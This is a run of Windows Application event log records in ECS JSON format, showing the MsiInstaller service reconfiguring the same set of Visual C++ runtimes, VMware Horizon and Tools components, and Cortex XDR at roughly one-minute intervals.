{"@timestamp":1657390390724,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169548}}
{"@timestamp":1657390390754,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169549}}
{"@timestamp":1657390390782,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169550}}
{"@timestamp":1657390390808,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169551}}
{"@timestamp":1657390390846,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169552}}
{"@timestamp":1657390390874,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169553}}
{"@timestamp":1657390450641,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169554}}
{"@timestamp":1657390450668,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169555}}
{"@timestamp":1657390450719,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169556}}
{"@timestamp":1657390450758,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169557}}
{"@timestamp":1657390450787,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169558}}
{"@timestamp":1657390450818,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169559}}
{"@timestamp":1657390450846,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169560}}
{"@timestamp":1657390450874,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169561}}
{"@timestamp":1657390450912,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169562}}
{"@timestamp":1657390450940,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169563}}
{"@timestamp":1657390510575,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169564}}
{"@timestamp":1657390510602,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169565}}
{"@timestamp":1657390510652,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169566}}
{"@timestamp":1657390510692,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169567}}
{"@timestamp":1657390510721,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169568}}
{"@timestamp":1657390510751,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169569}}
{"@timestamp":1657390510777,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169570}}
{"@timestamp":1657390510803,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169571}}
{"@timestamp":1657390510840,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169572}}
{"@timestamp":1657390510868,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169573}}
{"@timestamp":1657390570770,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169574}}
{"@timestamp":1657390570798,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169575}}
{"@timestamp":1657390570849,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169576}}
{"@timestamp":1657390570892,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169577}}
{"@timestamp":1657390570922,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169578}}
{"@timestamp":1657390570954,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169579}}
{"@timestamp":1657390570982,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169580}}
{"@timestamp":1657390571011,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169581}}
{"@timestamp":1657390571049,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169582}}
{"@timestamp":1657390571077,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169583}}
{"@timestamp":1657390630782,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169584}}
{"@timestamp":1657390630808,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169585}}
{"@timestamp":1657390630858,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169586}}
{"@timestamp":1657390630898,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169587}}
{"@timestamp":1657390630926,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169588}}
{"@timestamp":1657390630958,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169589}}
{"@timestamp":1657390630985,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169590}}
{"@timestamp":1657390631012,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169591}}
{"@timestamp":1657390631049,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169592}}
{"@timestamp":1657390631078,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169593}}
{"@timestamp":1657390690554,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169594}}
{"@timestamp":1657390690583,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169595}}
{"@timestamp":1657390690634,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169596}}
{"@timestamp":1657390690674,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169597}}
{"@timestamp":1657390690703,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169598}}
{"@timestamp":1657390690734,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169599}}
{"@timestamp":1657390690761,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169600}}
{"@timestamp":1657390690787,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169601}}
{"@timestamp":1657390690826,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169602}}
{"@timestamp":1657390690854,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169603}}
{"@timestamp":1657390750925,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169604}}
{"@timestamp":1657390750952,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169605}}
{"@timestamp":1657390751001,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169606}}
{"@timestamp":1657390751041,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169607}}
{"@timestamp":1657390751070,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169608}}
{"@timestamp":1657390751102,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169609}}
{"@timestamp":1657390751129,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169610}}
{"@timestamp":1657390751155,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169611}}
{"@timestamp":1657390751193,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169612}}
{"@timestamp":1657390751220,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169613}}
